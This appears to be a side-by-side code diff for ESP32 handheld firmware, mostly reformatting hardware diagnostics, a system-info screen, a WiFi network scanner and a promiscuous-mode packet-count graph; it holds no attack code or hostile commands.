// CC1101 // CC1101
status.cc1101 = checkCC1101(CC1101_CS); status.cc1101_1 = checkCC1101(CC1101_CS);
// status.cc1101 = true; status.cc1101_2 = checkCC1101(CC1101_2_CS);
//status.cc1101_1 = status.cc1101_2 = false;
// Buttons
status.buttons = checkButtons();
drawStatus(status); drawStatus(status);
Serial.println("Diagnostics complete"); Serial.println("Diagnostics complete");
while (1) { while (1)
{
drawStatus(status); drawStatus(status);
if (btnUp()) { if (btnUp())
{
selectedIndex--; selectedIndex--;
if (selectedIndex < 0) if (selectedIndex < 0) selectedIndex = MAX_ITEMS - 1;
selectedIndex = MAX_ITEMS - 1;
delay(150); delay(150);
} }
if (btnDown()) { if (btnDown())
{
selectedIndex++; selectedIndex++;
if (selectedIndex >= MAX_ITEMS) if (selectedIndex >= MAX_ITEMS) selectedIndex = 0;
selectedIndex = 0;
delay(150); delay(150);
} }
if (btnBack()) { if (btnBack())
{
delay(150); delay(150);
break; break;
} }
} }}
}

View File

@ -1,27 +1,30 @@
#include <Arduino.h>
#include "../ui/display.h" #include "../ui/display.h"
#include "buttons.h" #include "buttons.h"
#include <Arduino.h>
#include <esp_chip_info.h> #include <esp_chip_info.h>
#include <esp_heap_caps.h> #include <esp_heap_caps.h>
void runSystemInfoFeature() { void runSystemInfoFeature()
{
esp_chip_info_t chip_info; esp_chip_info_t chip_info;
esp_chip_info(&chip_info); esp_chip_info(&chip_info);
while (true) { while (true)
// u8g2.clearBuffer(); {
//u8g2.clearBuffer();
// char buf[32]; //char buf[32];
// sprintf(buf, "Cores: %d", chip_info.cores); //sprintf(buf, "Cores: %d", chip_info.cores);
// u8g2.drawStr(0, 14, buf); //u8g2.drawStr(0, 14, buf);
// sprintf(buf, "Heap: %d", //sprintf(buf, "Heap: %d",
// heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); // heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
// u8g2.drawStr(0, 28, buf); //u8g2.drawStr(0, 28, buf);
// u8g2.drawStr(0, 60, "BACK to exit");
//u8g2.drawStr(0, 60, "BACK to exit");
// Get RAM info // Get RAM info
size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
@ -29,7 +32,7 @@ void runSystemInfoFeature() {
int ramUsage = 100 - ((freeHeap * 100) / totalHeap); int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
// Get Flash info // Get Flash info
// uint32_t flashSize = spi_flash_get_chip_size(); //uint32_t flashSize = spi_flash_get_chip_size();
uint32_t flashSize = ESP.getFlashChipSize(); uint32_t flashSize = ESP.getFlashChipSize();
uint32_t flashUsed = ESP.getSketchSize(); uint32_t flashUsed = ESP.getSketchSize();
int flashUsage = (flashUsed * 100) / flashSize; int flashUsage = (flashUsed * 100) / flashSize;
@ -68,13 +71,13 @@ void runSystemInfoFeature() {
// Box 5 - PSRAM (KB) // Box 5 - PSRAM (KB)
u8g2.drawFrame(0, 48, 128, 12); u8g2.drawFrame(0, 48, 128, 12);
sprintf(buf, "PSRAM: %lu KB", sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
u8g2.drawStr(4, 57, buf); u8g2.drawStr(4, 57, buf);
u8g2.sendBuffer(); u8g2.sendBuffer();
if (btnBack()) { if (btnBack())
{
delay(200); delay(200);
return; return;
} }

View File

@ -24,14 +24,17 @@ struct SnifferGraph {
static SnifferGraph sniffer; static SnifferGraph sniffer;
// ===== CALLBACK ===== // ===== CALLBACK =====
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) { void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type)
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) { {
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL)
{
sniffer.packetCounter++; sniffer.packetCounter++;
} }
} }
// ===== INIT ===== // ===== INIT =====
void wifi_analyzer_start() { void wifi_analyzer_start()
{
// display init (safe to call again) // display init (safe to call again)
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
@ -61,23 +64,26 @@ void wifi_analyzer_start() {
} }
// ===== HELPERS ===== // ===== HELPERS =====
static void switchChannel() { static void switchChannel()
{
sniffer.currentChannel++; sniffer.currentChannel++;
if (sniffer.currentChannel > 13) if (sniffer.currentChannel > 13) sniffer.currentChannel = 1;
sniffer.currentChannel = 1;
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
} }
static void updateGraph(uint8_t value) { static void updateGraph(uint8_t value)
for (int i = 0; i < MAX_POINTS - 1; i++) { {
for (int i = 0; i < MAX_POINTS - 1; i++)
{
sniffer.graphData[i] = sniffer.graphData[i + 1]; sniffer.graphData[i] = sniffer.graphData[i + 1];
} }
sniffer.graphData[MAX_POINTS - 1] = value; sniffer.graphData[MAX_POINTS - 1] = value;
} }
static void drawGraph(uint16_t pktCount) { static void drawGraph(uint16_t pktCount)
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
@ -90,14 +96,16 @@ static void drawGraph(uint16_t pktCount) {
u8g2.drawStr(0, 8, line1); u8g2.drawStr(0, 8, line1);
u8g2.drawStr(60, 8, line2); u8g2.drawStr(60, 8, line2);
for (int x = 1; x < GRAPH_WIDTH; x++) { for (int x = 1; x < GRAPH_WIDTH; x++)
{
int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
u8g2.drawLine(x - 1, y1, x, y2); u8g2.drawLine(x - 1, y1, x, y2);
} }
if (pktCount >= SPIKE_THRESHOLD) { if (pktCount >= SPIKE_THRESHOLD)
{
u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
} }
@ -105,18 +113,21 @@ static void drawGraph(uint16_t pktCount) {
} }
// ===== LOOP ===== // ===== LOOP =====
void wifi_analyzer_loop() { void wifi_analyzer_loop()
{
static uint32_t lastPress = 0; static uint32_t lastPress = 0;
unsigned long now = millis(); unsigned long now = millis();
// channel hopping // channel hopping
if (now - sniffer.lastChannelSwitch >= 1000) { if (now - sniffer.lastChannelSwitch >= 1000)
{
sniffer.lastChannelSwitch = now; sniffer.lastChannelSwitch = now;
switchChannel(); switchChannel();
} }
// graph update // graph update
if (now - sniffer.lastUpdate >= 200) { if (now - sniffer.lastUpdate >= 200)
{
sniffer.lastUpdate = now; sniffer.lastUpdate = now;
uint16_t pktCount = sniffer.packetCounter; uint16_t pktCount = sniffer.packetCounter;

View File

@ -1,7 +1,7 @@
#include "../ui/display.h"
#include "../utils/buttons.h"
#include <Arduino.h> #include <Arduino.h>
#include <WiFi.h> #include <WiFi.h>
#include "../ui/display.h"
#include "../utils/buttons.h"
#define MAX_NETWORKS 30 #define MAX_NETWORKS 30
@ -17,7 +17,8 @@ static int networkCount = 0;
static int selectedIndex = 0; static int selectedIndex = 0;
// ===== SCAN ===== // ===== SCAN =====
void wifi_scan_start() { void wifi_scan_start()
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.drawStr(10, 30, "Scanning WiFi..."); u8g2.drawStr(10, 30, "Scanning WiFi...");
u8g2.sendBuffer(); u8g2.sendBuffer();
@ -31,7 +32,8 @@ void wifi_scan_start() {
networkCount = min(n, MAX_NETWORKS); networkCount = min(n, MAX_NETWORKS);
for (int i = 0; i < networkCount; i++) { for (int i = 0; i < networkCount; i++)
{
networks[i].ssid = WiFi.SSID(i); networks[i].ssid = WiFi.SSID(i);
networks[i].rssi = WiFi.RSSI(i); networks[i].rssi = WiFi.RSSI(i);
networks[i].channel = WiFi.channel(i); networks[i].channel = WiFi.channel(i);
@ -42,13 +44,17 @@ void wifi_scan_start() {
} }
// ===== DRAW ===== // ===== DRAW =====
void wifi_scan_draw() { void wifi_scan_draw()
{
u8g2.clearBuffer(); u8g2.clearBuffer();
if (networkCount == 0) { if (networkCount == 0)
{
u8g2.drawStr(0, 30, "No networks"); u8g2.drawStr(0, 30, "No networks");
u8g2.drawStr(0, 45, "Press BACK"); u8g2.drawStr(0, 45, "Press BACK");
} else { }
else
{
char counter[20]; char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
@ -56,14 +62,15 @@ void wifi_scan_draw() {
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++) { for (int i = 0; i < 3; i++)
{
int idx = selectedIndex + i; int idx = selectedIndex + i;
if (idx >= networkCount) if (idx >= networkCount) break;
break;
int y = 22 + i * 14; int y = 22 + i * 14;
if (i == 0) { if (i == 0)
{
u8g2.drawBox(0, y - 10, 128, 12); u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0); u8g2.setDrawColor(0);
} }
@ -85,9 +92,9 @@ void wifi_scan_draw() {
} }
// ===== DETAILS ===== // ===== DETAILS =====
void wifi_drawDetails() { void wifi_drawDetails()
if (networkCount == 0) {
return; if (networkCount == 0) return;
WiFiNet &net = networks[selectedIndex]; WiFiNet &net = networks[selectedIndex];
@ -110,30 +117,36 @@ void wifi_drawDetails() {
} }
// ===== LOOP ===== // ===== LOOP =====
void wifi_scan_loop() { void wifi_scan_loop()
{
static uint32_t lastPress = 0; static uint32_t lastPress = 0;
if (millis() - lastPress < 150) if (millis() - lastPress < 150)
return; return;
if (btnDown() && selectedIndex < networkCount - 1) { if (btnDown() && selectedIndex < networkCount - 1)
{
selectedIndex++; selectedIndex++;
wifi_scan_draw(); wifi_scan_draw();
lastPress = millis(); lastPress = millis();
} else if (btnUp() && selectedIndex > 0) { }
else if (btnUp() && selectedIndex > 0)
{
selectedIndex--; selectedIndex--;
wifi_scan_draw(); wifi_scan_draw();
lastPress = millis(); lastPress = millis();
} else if (btnSelect() && networkCount > 0) { }
else if (btnSelect() && networkCount > 0)
{
wifi_drawDetails(); wifi_drawDetails();
delay(3000); delay(3000);
wifi_scan_draw(); wifi_scan_draw();
lastPress = millis(); lastPress = millis();
} }
// else if (btnBack()) // else if (btnBack())
// { // {
// wifi_scan_start(); // wifi_scan_start();
// wifi_scan_draw(); // wifi_scan_draw();
// lastPress = millis(); // lastPress = millis();
// } // }
} }